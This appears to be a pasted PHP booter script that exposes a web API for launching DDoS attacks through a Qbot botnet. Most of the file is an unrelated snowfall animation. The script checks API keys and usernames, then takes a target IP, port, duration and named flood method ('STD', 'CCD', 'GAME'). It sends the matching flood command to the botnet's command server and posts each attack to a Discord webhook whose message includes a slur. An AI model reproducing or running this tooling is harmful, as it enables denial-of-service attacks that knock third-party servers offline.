· 5 years ago · Jun 07, 2020, 12:38 PM
1<?php
2//Example API: http://host/file.php?key=yourkey&user=username&host=1.2.3.4&port=80&time=20&method=HYDRA-RAPE
3//instagram @blazing_runs
4
5set_time_limit(0);
6
7
8//configure
9$webhookurl = "Your Discord URL";
10$apiname = "Your API Name";//this doesn't matter it just means you can change the name of the ting
11$APIKeys = array("94N8OASNCU4OPAF", "EAGOINAION9AB3BA", "PIOJ4R082NUONFA");//type some random shit like this ;)
12$usernames = array("blazing", "hehe", "legendary");//set usernames
13$attackMethods = array("HYDRA-RAPE", "NFO-DOWN", "OVH-MOUL", "GAME-ALL", "OVH-FILL", "R6-KILL", "FN-CRUSH", "test");
14$server = "qbot IP";
15$conport = port;
16$username = "username";
17$password = "password";
18//configure
19
20
21//and by configure i dont mean skid rip :))
22?>
23<!DOCTYPE html>
24<html>
25<head>
26 <script>
27
28/*jslint nomen: true, plusplus: true, sloppy: true, vars: true, white: true */
29/*global window, document, navigator, clearInterval, setInterval */
30
31var snowStorm = (function(window, document) {
32
33 // --- common properties ---
34
35 this.autoStart = true; // Whether the snow should start automatically or not.
36 this.excludeMobile = true; // Snow is likely to be bad news for mobile phones' CPUs (and batteries.) Enable at your own risk.
37 this.flakesMax = 128; // Limit total amount of snow made (falling + sticking)
38 this.flakesMaxActive = 64; // Limit amount of snow falling at once (less = lower CPU use)
39 this.animationInterval = 50; // Theoretical "miliseconds per frame" measurement. 20 = fast + smooth, but high CPU use. 50 = more conservative, but slower
40 this.useGPU = true; // Enable transform-based hardware acceleration, reduce CPU load.
41 this.className = null; // CSS class name for further customization on snow elements
42 this.excludeMobile = true; // Snow is likely to be bad news for mobile phones' CPUs (and batteries.) By default, be nice.
43 this.flakeBottom = null; // Integer for Y axis snow limit, 0 or null for "full-screen" snow effect
44 this.followMouse = false; // Snow movement can respond to the user's mouse
45 this.snowColor = '#fff'; // Don't eat (or use?) yellow snow.
46 this.snowCharacter = '•'; // • = bullet, · is square on some systems etc.
47 this.snowStick = true; // Whether or not snow should "stick" at the bottom. When off, will never collect.
48 this.targetElement = null; // element which snow will be appended to (null = document.body) - can be an element ID eg. 'myDiv', or a DOM node reference
49 this.useMeltEffect = true; // When recycling fallen snow (or rarely, when falling), have it "melt" and fade out if browser supports it
50 this.useTwinkleEffect = false; // Allow snow to randomly "flicker" in and out of view while falling
51 this.usePositionFixed = false; // true = snow does not shift vertically when scrolling. May increase CPU load, disabled by default - if enabled, used only where supported
52 this.usePixelPosition = false; // Whether to use pixel values for snow top/left vs. percentages. Auto-enabled if body is position:relative or targetElement is specified.
53
54 // --- less-used bits ---
55
56 this.freezeOnBlur = true; // Only snow when the window is in focus (foreground.) Saves CPU.
57 this.flakeLeftOffset = 0; // Left margin/gutter space on edge of container (eg. browser window.) Bump up these values if seeing horizontal scrollbars.
58 this.flakeRightOffset = 0; // Right margin/gutter space on edge of container
59 this.flakeWidth = 8; // Max pixel width reserved for snow element
60 this.flakeHeight = 8; // Max pixel height reserved for snow element
61 this.vMaxX = 5; // Maximum X velocity range for snow
62 this.vMaxY = 4; // Maximum Y velocity range for snow
63 this.zIndex = 0; // CSS stacking order applied to each snowflake
64
65 // --- "No user-serviceable parts inside" past this point, yadda yadda ---
66
67 var storm = this,
68 features,
69 // UA sniffing and backCompat rendering mode checks for fixed position, etc.
70 isIE = navigator.userAgent.match(/msie/i),
71 isIE6 = navigator.userAgent.match(/msie 6/i),
72 isMobile = navigator.userAgent.match(/mobile|opera m(ob|in)/i),
73 isBackCompatIE = (isIE && document.compatMode === 'BackCompat'),
74 noFixed = (isBackCompatIE || isIE6),
75 screenX = null, screenX2 = null, screenY = null, scrollY = null, docHeight = null, vRndX = null, vRndY = null,
76 windOffset = 1,
77 windMultiplier = 2,
78 flakeTypes = 6,
79 fixedForEverything = false,
80 targetElementIsRelative = false,
81 opacitySupported = (function(){
82 try {
83 document.createElement('div').style.opacity = '0.5';
84 } catch(e) {
85 return false;
86 }
87 return true;
88 }()),
89 didInit = false,
90 docFrag = document.createDocumentFragment();
91
92 features = (function() {
93
94 var getAnimationFrame;
95
96 /**
97 * hat tip: paul irish
98 * http://paulirish.com/2011/requestanimationframe-for-smart-animating/
99 * https://gist.github.com/838785
100 */
101
102 function timeoutShim(callback) {
103 window.setTimeout(callback, 1000/(storm.animationInterval || 20));
104 }
105
106 var _animationFrame = (window.requestAnimationFrame ||
107 window.webkitRequestAnimationFrame ||
108 window.mozRequestAnimationFrame ||
109 window.oRequestAnimationFrame ||
110 window.msRequestAnimationFrame ||
111 timeoutShim);
112
113 // apply to window, avoid "illegal invocation" errors in Chrome
114 getAnimationFrame = _animationFrame ? function() {
115 return _animationFrame.apply(window, arguments);
116 } : null;
117
118 var testDiv;
119
120 testDiv = document.createElement('div');
121
122 function has(prop) {
123
124 // test for feature support
125 var result = testDiv.style[prop];
126 return (result !== undefined ? prop : null);
127
128 }
129
130 // note local scope.
131 var localFeatures = {
132
133 transform: {
134 ie: has('-ms-transform'),
135 moz: has('MozTransform'),
136 opera: has('OTransform'),
137 webkit: has('webkitTransform'),
138 w3: has('transform'),
139 prop: null // the normalized property value
140 },
141
142 getAnimationFrame: getAnimationFrame
143
144 };
145
146 localFeatures.transform.prop = (
147 localFeatures.transform.w3 ||
148 localFeatures.transform.moz ||
149 localFeatures.transform.webkit ||
150 localFeatures.transform.ie ||
151 localFeatures.transform.opera
152 );
153
154 testDiv = null;
155
156 return localFeatures;
157
158 }());
159
160 this.timer = null;
161 this.flakes = [];
162 this.disabled = false;
163 this.active = false;
164 this.meltFrameCount = 20;
165 this.meltFrames = [];
166
167 this.setXY = function(o, x, y) {
168
169 if (!o) {
170 return false;
171 }
172
173 if (storm.usePixelPosition || targetElementIsRelative) {
174
175 o.style.left = (x - storm.flakeWidth) + 'px';
176 o.style.top = (y - storm.flakeHeight) + 'px';
177
178 } else if (noFixed) {
179
180 o.style.right = (100-(x/screenX*100)) + '%';
181 // avoid creating vertical scrollbars
182 o.style.top = (Math.min(y, docHeight-storm.flakeHeight)) + 'px';
183
184 } else {
185
186 if (!storm.flakeBottom) {
187
188 // if not using a fixed bottom coordinate...
189 o.style.right = (100-(x/screenX*100)) + '%';
190 o.style.bottom = (100-(y/screenY*100)) + '%';
191
192 } else {
193
194 // absolute top.
195 o.style.right = (100-(x/screenX*100)) + '%';
196 o.style.top = (Math.min(y, docHeight-storm.flakeHeight)) + 'px';
197
198 }
199
200 }
201
202 };
203
204 this.events = (function() {
205
206 var old = (!window.addEventListener && window.attachEvent), slice = Array.prototype.slice,
207 evt = {
208 add: (old?'attachEvent':'addEventListener'),
209 remove: (old?'detachEvent':'removeEventListener')
210 };
211
212 function getArgs(oArgs) {
213 var args = slice.call(oArgs), len = args.length;
214 if (old) {
215 args[1] = 'on' + args[1]; // prefix
216 if (len > 3) {
217 args.pop(); // no capture
218 }
219 } else if (len === 3) {
220 args.push(false);
221 }
222 return args;
223 }
224
225 function apply(args, sType) {
226 var element = args.shift(),
227 method = [evt[sType]];
228 if (old) {
229 element[method](args[0], args[1]);
230 } else {
231 element[method].apply(element, args);
232 }
233 }
234
235 function addEvent() {
236 apply(getArgs(arguments), 'add');
237 }
238
239 function removeEvent() {
240 apply(getArgs(arguments), 'remove');
241 }
242
243 return {
244 add: addEvent,
245 remove: removeEvent
246 };
247
248 }());
249
250 function rnd(n,min) {
251 if (isNaN(min)) {
252 min = 0;
253 }
254 return (Math.random()*n)+min;
255 }
256
257 function plusMinus(n) {
258 return (parseInt(rnd(2),10)===1?n*-1:n);
259 }
260
261 this.randomizeWind = function() {
262 var i;
263 vRndX = plusMinus(rnd(storm.vMaxX,0.2));
264 vRndY = rnd(storm.vMaxY,0.2);
265 if (this.flakes) {
266 for (i=0; i<this.flakes.length; i++) {
267 if (this.flakes[i].active) {
268 this.flakes[i].setVelocities();
269 }
270 }
271 }
272 };
273
274 this.scrollHandler = function() {
275 var i;
276 // "attach" snowflakes to bottom of window if no absolute bottom value was given
277 scrollY = (storm.flakeBottom ? 0 : parseInt(window.scrollY || document.documentElement.scrollTop || (noFixed ? document.body.scrollTop : 0), 10));
278 if (isNaN(scrollY)) {
279 scrollY = 0; // Netscape 6 scroll fix
280 }
281 if (!fixedForEverything && !storm.flakeBottom && storm.flakes) {
282 for (i=0; i<storm.flakes.length; i++) {
283 if (storm.flakes[i].active === 0) {
284 storm.flakes[i].stick();
285 }
286 }
287 }
288 };
289
290 this.resizeHandler = function() {
291 if (window.innerWidth || window.innerHeight) {
292 screenX = window.innerWidth - 16 - storm.flakeRightOffset;
293 screenY = (storm.flakeBottom || window.innerHeight);
294 } else {
295 screenX = (document.documentElement.clientWidth || document.body.clientWidth || document.body.scrollWidth) - (!isIE ? 8 : 0) - storm.flakeRightOffset;
296 screenY = storm.flakeBottom || document.documentElement.clientHeight || document.body.clientHeight || document.body.scrollHeight;
297 }
298 docHeight = document.body.offsetHeight;
299 screenX2 = parseInt(screenX/2,10);
300 };
301
302 this.resizeHandlerAlt = function() {
303 screenX = storm.targetElement.offsetWidth - storm.flakeRightOffset;
304 screenY = storm.flakeBottom || storm.targetElement.offsetHeight;
305 screenX2 = parseInt(screenX/2,10);
306 docHeight = document.body.offsetHeight;
307 };
308
309 this.freeze = function() {
310 // pause animation
311 if (!storm.disabled) {
312 storm.disabled = 1;
313 } else {
314 return false;
315 }
316 storm.timer = null;
317 };
318
319 this.resume = function() {
320 if (storm.disabled) {
321 storm.disabled = 0;
322 } else {
323 return false;
324 }
325 storm.timerInit();
326 };
327
328 this.toggleSnow = function() {
329 if (!storm.flakes.length) {
330 // first run
331 storm.start();
332 } else {
333 storm.active = !storm.active;
334 if (storm.active) {
335 storm.show();
336 storm.resume();
337 } else {
338 storm.stop();
339 storm.freeze();
340 }
341 }
342 };
343
344 this.stop = function() {
345 var i;
346 this.freeze();
347 for (i=0; i<this.flakes.length; i++) {
348 this.flakes[i].o.style.display = 'none';
349 }
350 storm.events.remove(window,'scroll',storm.scrollHandler);
351 storm.events.remove(window,'resize',storm.resizeHandler);
352 if (storm.freezeOnBlur) {
353 if (isIE) {
354 storm.events.remove(document,'focusout',storm.freeze);
355 storm.events.remove(document,'focusin',storm.resume);
356 } else {
357 storm.events.remove(window,'blur',storm.freeze);
358 storm.events.remove(window,'focus',storm.resume);
359 }
360 }
361 };
362
363 this.show = function() {
364 var i;
365 for (i=0; i<this.flakes.length; i++) {
366 this.flakes[i].o.style.display = 'block';
367 }
368 };
369
370 this.SnowFlake = function(type,x,y) {
371 var s = this;
372 this.type = type;
373 this.x = x||parseInt(rnd(screenX-20),10);
374 this.y = (!isNaN(y)?y:-rnd(screenY)-12);
375 this.vX = null;
376 this.vY = null;
377 this.vAmpTypes = [1,1.2,1.4,1.6,1.8]; // "amplification" for vX/vY (based on flake size/type)
378 this.vAmp = this.vAmpTypes[this.type] || 1;
379 this.melting = false;
380 this.meltFrameCount = storm.meltFrameCount;
381 this.meltFrames = storm.meltFrames;
382 this.meltFrame = 0;
383 this.twinkleFrame = 0;
384 this.active = 1;
385 this.fontSize = (10+(this.type/5)*10);
386 this.o = document.createElement('div');
387 this.o.innerHTML = storm.snowCharacter;
388 if (storm.className) {
389 this.o.setAttribute('class', storm.className);
390 }
391 this.o.style.color = storm.snowColor;
392 this.o.style.position = (fixedForEverything?'fixed':'absolute');
393 if (storm.useGPU && features.transform.prop) {
394 // GPU-accelerated snow.
395 this.o.style[features.transform.prop] = 'translate3d(0px, 0px, 0px)';
396 }
397 this.o.style.width = storm.flakeWidth+'px';
398 this.o.style.height = storm.flakeHeight+'px';
399 this.o.style.fontFamily = 'arial,verdana';
400 this.o.style.cursor = 'default';
401 this.o.style.overflow = 'hidden';
402 this.o.style.fontWeight = 'normal';
403 this.o.style.zIndex = storm.zIndex;
404 docFrag.appendChild(this.o);
405
406 this.refresh = function() {
407 if (isNaN(s.x) || isNaN(s.y)) {
408 // safety check
409 return false;
410 }
411 storm.setXY(s.o, s.x, s.y);
412 };
413
414 this.stick = function() {
415 if (noFixed || (storm.targetElement !== document.documentElement && storm.targetElement !== document.body)) {
416 s.o.style.top = (screenY+scrollY-storm.flakeHeight)+'px';
417 } else if (storm.flakeBottom) {
418 s.o.style.top = storm.flakeBottom+'px';
419 } else {
420 s.o.style.display = 'none';
421 s.o.style.bottom = '0%';
422 s.o.style.position = 'fixed';
423 s.o.style.display = 'block';
424 }
425 };
426
427 this.vCheck = function() {
428 if (s.vX>=0 && s.vX<0.2) {
429 s.vX = 0.2;
430 } else if (s.vX<0 && s.vX>-0.2) {
431 s.vX = -0.2;
432 }
433 if (s.vY>=0 && s.vY<0.2) {
434 s.vY = 0.2;
435 }
436 };
437
438 this.move = function() {
439 var vX = s.vX*windOffset, yDiff;
440 s.x += vX;
441 s.y += (s.vY*s.vAmp);
442 if (s.x >= screenX || screenX-s.x < storm.flakeWidth) { // X-axis scroll check
443 s.x = 0;
444 } else if (vX < 0 && s.x-storm.flakeLeftOffset < -storm.flakeWidth) {
445 s.x = screenX-storm.flakeWidth-1; // flakeWidth;
446 }
447 s.refresh();
448 yDiff = screenY+scrollY-s.y+storm.flakeHeight;
449 if (yDiff<storm.flakeHeight) {
450 s.active = 0;
451 if (storm.snowStick) {
452 s.stick();
453 } else {
454 s.recycle();
455 }
456 } else {
457 if (storm.useMeltEffect && s.active && s.type < 3 && !s.melting && Math.random()>0.998) {
458 // ~1/1000 chance of melting mid-air, with each frame
459 s.melting = true;
460 s.melt();
461 // only incrementally melt one frame
462 // s.melting = false;
463 }
464 if (storm.useTwinkleEffect) {
465 if (s.twinkleFrame < 0) {
466 if (Math.random() > 0.97) {
467 s.twinkleFrame = parseInt(Math.random() * 8, 10);
468 }
469 } else {
470 s.twinkleFrame--;
471 if (!opacitySupported) {
472 s.o.style.visibility = (s.twinkleFrame && s.twinkleFrame % 2 === 0 ? 'hidden' : 'visible');
473 } else {
474 s.o.style.opacity = (s.twinkleFrame && s.twinkleFrame % 2 === 0 ? 0 : 1);
475 }
476 }
477 }
478 }
479 };
480
481 this.animate = function() {
482 // main animation loop
483 // move, check status, die etc.
484 s.move();
485 };
486
487 this.setVelocities = function() {
488 s.vX = vRndX+rnd(storm.vMaxX*0.12,0.1);
489 s.vY = vRndY+rnd(storm.vMaxY*0.12,0.1);
490 };
491
492 this.setOpacity = function(o,opacity) {
493 if (!opacitySupported) {
494 return false;
495 }
496 o.style.opacity = opacity;
497 };
498
499 this.melt = function() {
500 if (!storm.useMeltEffect || !s.melting) {
501 s.recycle();
502 } else {
503 if (s.meltFrame < s.meltFrameCount) {
504 s.setOpacity(s.o,s.meltFrames[s.meltFrame]);
505 s.o.style.fontSize = s.fontSize-(s.fontSize*(s.meltFrame/s.meltFrameCount))+'px';
506 s.o.style.lineHeight = storm.flakeHeight+2+(storm.flakeHeight*0.75*(s.meltFrame/s.meltFrameCount))+'px';
507 s.meltFrame++;
508 } else {
509 s.recycle();
510 }
511 }
512 };
513
514 this.recycle = function() {
515 s.o.style.display = 'none';
516 s.o.style.position = (fixedForEverything?'fixed':'absolute');
517 s.o.style.bottom = 'auto';
518 s.setVelocities();
519 s.vCheck();
520 s.meltFrame = 0;
521 s.melting = false;
522 s.setOpacity(s.o,1);
523 s.o.style.padding = '0px';
524 s.o.style.margin = '0px';
525 s.o.style.fontSize = s.fontSize+'px';
526 s.o.style.lineHeight = (storm.flakeHeight+2)+'px';
527 s.o.style.textAlign = 'center';
528 s.o.style.verticalAlign = 'baseline';
529 s.x = parseInt(rnd(screenX-storm.flakeWidth-20),10);
530 s.y = parseInt(rnd(screenY)*-1,10)-storm.flakeHeight;
531 s.refresh();
532 s.o.style.display = 'block';
533 s.active = 1;
534 };
535
536 this.recycle(); // set up x/y coords etc.
537 this.refresh();
538
539 };
540
541 this.snow = function() {
542 var active = 0, flake = null, i, j;
543 for (i=0, j=storm.flakes.length; i<j; i++) {
544 if (storm.flakes[i].active === 1) {
545 storm.flakes[i].move();
546 active++;
547 }
548 if (storm.flakes[i].melting) {
549 storm.flakes[i].melt();
550 }
551 }
552 if (active<storm.flakesMaxActive) {
553 flake = storm.flakes[parseInt(rnd(storm.flakes.length),10)];
554 if (flake.active === 0) {
555 flake.melting = true;
556 }
557 }
558 if (storm.timer) {
559 features.getAnimationFrame(storm.snow);
560 }
561 };
562
563 this.mouseMove = function(e) {
564 if (!storm.followMouse) {
565 return true;
566 }
567 var x = parseInt(e.clientX,10);
568 if (x<screenX2) {
569 windOffset = -windMultiplier+(x/screenX2*windMultiplier);
570 } else {
571 x -= screenX2;
572 windOffset = (x/screenX2)*windMultiplier;
573 }
574 };
575
576 this.createSnow = function(limit,allowInactive) {
577 var i;
578 for (i=0; i<limit; i++) {
579 storm.flakes[storm.flakes.length] = new storm.SnowFlake(parseInt(rnd(flakeTypes),10));
580 if (allowInactive || i>storm.flakesMaxActive) {
581 storm.flakes[storm.flakes.length-1].active = -1;
582 }
583 }
584 storm.targetElement.appendChild(docFrag);
585 };
586
587 this.timerInit = function() {
588 storm.timer = true;
589 storm.snow();
590 };
591
592 this.init = function() {
593 var i;
594 for (i=0; i<storm.meltFrameCount; i++) {
595 storm.meltFrames.push(1-(i/storm.meltFrameCount));
596 }
597 storm.randomizeWind();
598 storm.createSnow(storm.flakesMax); // create initial batch
599 storm.events.add(window,'resize',storm.resizeHandler);
600 storm.events.add(window,'scroll',storm.scrollHandler);
601 if (storm.freezeOnBlur) {
602 if (isIE) {
603 storm.events.add(document,'focusout',storm.freeze);
604 storm.events.add(document,'focusin',storm.resume);
605 } else {
606 storm.events.add(window,'blur',storm.freeze);
607 storm.events.add(window,'focus',storm.resume);
608 }
609 }
610 storm.resizeHandler();
611 storm.scrollHandler();
612 if (storm.followMouse) {
613 storm.events.add(isIE?document:window,'mousemove',storm.mouseMove);
614 }
615 storm.animationInterval = Math.max(20,storm.animationInterval);
616 storm.timerInit();
617 };
618
619 this.start = function(bFromOnLoad) {
620 if (!didInit) {
621 didInit = true;
622 } else if (bFromOnLoad) {
623 // already loaded and running
624 return true;
625 }
626 if (typeof storm.targetElement === 'string') {
627 var targetID = storm.targetElement;
628 storm.targetElement = document.getElementById(targetID);
629 if (!storm.targetElement) {
630 throw new Error('Snowstorm: Unable to get targetElement "'+targetID+'"');
631 }
632 }
633 if (!storm.targetElement) {
634 storm.targetElement = (document.body || document.documentElement);
635 }
636 if (storm.targetElement !== document.documentElement && storm.targetElement !== document.body) {
637 // re-map handler to get element instead of screen dimensions
638 storm.resizeHandler = storm.resizeHandlerAlt;
639 //and force-enable pixel positioning
640 storm.usePixelPosition = true;
641 }
642 storm.resizeHandler(); // get bounding box elements
643 storm.usePositionFixed = (storm.usePositionFixed && !noFixed && !storm.flakeBottom); // whether or not position:fixed is to be used
644 if (window.getComputedStyle) {
645 // attempt to determine if body or user-specified snow parent element is relatlively-positioned.
646 try {
647 targetElementIsRelative = (window.getComputedStyle(storm.targetElement, null).getPropertyValue('position') === 'relative');
648 } catch(e) {
649 // oh well
650 targetElementIsRelative = false;
651 }
652 }
653 fixedForEverything = storm.usePositionFixed;
654 if (screenX && screenY && !storm.disabled) {
655 storm.init();
656 storm.active = true;
657 }
658 };
659
660 function doDelayedStart() {
661 window.setTimeout(function() {
662 storm.start(true);
663 }, 20);
664 // event cleanup
665 storm.events.remove(isIE?document:window,'mousemove',doDelayedStart);
666 }
667
668 function doStart() {
669 if (!storm.excludeMobile || !isMobile) {
670 doDelayedStart();
671 }
672 // event cleanup
673 storm.events.remove(window, 'load', doStart);
674 }
675
676 // hooks for starting the snow
677 if (storm.autoStart) {
678 storm.events.add(window, 'load', doStart, false);
679 }
680
681 return this;
682
683}(window, document));
684
685 </script>
686<style>
687body {
688 background-color: black;
689 color: white;
690}
691</style>
692</head>
693</html>
694<?php
695
696$activekeys = array();
697
698if (!isset($_GET["key"]) ||!isset($_GET["user"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
699
700 die("You are missing a parameter");
701
702$key = $_GET['key'];
703$usernamez = $_GET['user'];
704$method = $_GET['method'];
705$target = $_GET['host'];
706$port = $_GET['port'];
707$time = $_GET['time'];
708
709if (!in_array($key, $APIKeys)) die("Invalid API key");
710if (!in_array($usernamez, $usernames)) die("Invalid username");
711if (!in_array($method, $attackMethods)) die("Invalid attack method attack
712");
713
714if($method == "HYDRA-RAPE"){$command = "!* CCD $target $port $time";}
715if($method == "NFO-DOWN"){$command = "!* CCD $target $port $time";}
716if($method == "OVH-MOUL"){$command = "!* STD $target $port $time";}
717if($method == "GAME-ALL"){$command = "!* GAME $target $port $time 32 1024 10";}
718if($method == "OVH-FILL"){$command = "!* GAME $target $port $time 32 1024 10";}
719if($method == "R6-KILL"){$command = "!* GAME $target $port $time 32 1024 10";}
720if($method == "FN-CRUSH"){$command = "!* GAME $target $port $time 32 1024 10";}
721if($method == "test"){$command = "im testing shit lmao";}
722
723
724$sock = fsockopen($server, $conport, $errno, $errstr, 2);
725
726if(!$sock){
727 echo "Couldn't Connect To CNC Server...";
728} else{
729 echo "------------- API RESPONCE -------------<br>";
730 fwrite($sock, $username . "\n");
731 fwrite($sock, $password . "\n");
732 if(fread($sock, 512)){
733 }
734 fwrite($sock, $command . "\n");
735$timestamp = date("c", strtotime("now"));
736
737$json_data = json_encode([
738 // Message
739 "content" => "Someone sent attack faggot",
740
741 // Username
742 "username" => "Qbot API",
743
744 // Avatar URL.
745 // Uncoment to replace image set in webhook
746 "avatar_url" => "https://blog.eccouncil.org/wp-content/uploads/2019/06/9-of-the-Biggest-Botnet-Attacks-of-the-21st-Century-750x330.jpg?size=512",
747
748 // Text-to-speech
749 "tts" => false,
750
751 // File upload
752 // "file" => "",
753
754 // Embeds Array
755 "embeds" => [
756 [
757 // Embed Title
758 "title" => "Qbot attack logs",
759
760 // Embed Type
761 "type" => "rich",
762
763 // Embed Description
764 "description" => "Attack Sent Using ***$method***",
765
766 // URL of title link
767 "url" => "https://protonstress.vip",
768
769 // Timestamp of embed must be formatted as ISO8601
770 "timestamp" => $timestamp,
771
772 // Embed left border color in HEX
773 "color" => hexdec( "3366ff" ),
774
775 // Footer
776 "footer" => [
777 "text" => "Coded by blazing",
778 "icon_url" => "https://blog.eccouncil.org/wp-content/uploads/2019/06/9-of-the-Biggest-Botnet-Attacks-of-the-21st-Century-750x330.jpg?size=375"
779 ],
780
781 // Image to send
782 "image" => [
783 "url" => "https://blog.eccouncil.org/wp-content/uploads/2019/06/9-of-the-Biggest-Botnet-Attacks-of-the-21st-Century-750x330.jpg?size=600"
784 ],
785
786 //Thumbnail
787 "thumbnail" => [
788 "url" => "https://blog.eccouncil.org/wp-content/uploads/2019/06/9-of-the-Biggest-Botnet-Attacks-of-the-21st-Century-750x330.jpg?size=400"
789 ],
790
791 // Author
792 "author" => [
793 "name" => "Protonstress.vip",
794 "url" => "https://protonstress.vip/"
795 ],
796
797 // Additional Fields array
798 "fields" => [
799 // Field 1
800 [
801 "name" => "IP:",
802 "value" => "$target",
803 "inline" => false
804 ],
805 [
806 "name" => "Port:",
807 "value" => "$port",
808 "inline" => false
809 ],
810 [
811 "name" => "Time:",
812 "value" => "$time",
813 "inline" => false
814 ],
815 [
816 "name" => "Username:",
817 "value" => "$usernamez",
818 "inline" => false
819 ],
820 [
821 "name" => "APIKEY: ",
822 "value" => "$key",
823 "inline" => false
824 ]
825 // Etc..
826 ]
827 ]
828 ]
829
830], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
831
832
833$ch = curl_init( $webhookurl );
834/////////////////////////////////////
835$carl = "| By Blazing.";
836curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
837curl_setopt( $ch, CURLOPT_POST, 1);
838curl_setopt( $ch, CURLOPT_POSTFIELDS, $json_data);
839curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
840curl_setopt( $ch, CURLOPT_HEADER, 0);
841curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
842
843$response = curl_exec( $ch );
844// If you need to debug, or find out why you can't send message uncomment line below, and execute script.
845// echo $response;
846curl_close( $ch );
847curl_close($curl);
848 fclose($sock);
849 echo "> $command $carl";
850 echo "<br>";
851 echo "----------------------------------------<br>";
852 echo "<br>";
853 echo "<br>";
854 echo "api by $apiname | coded by blazing";
855 echo "<br>";
856 echo "<br>";
857 echo "Available methods<br>$attackMethods";
858}
859
860?>
861<html>
862 <canvas id="canvas"></canvas>
863</html>
864//@blazing_runs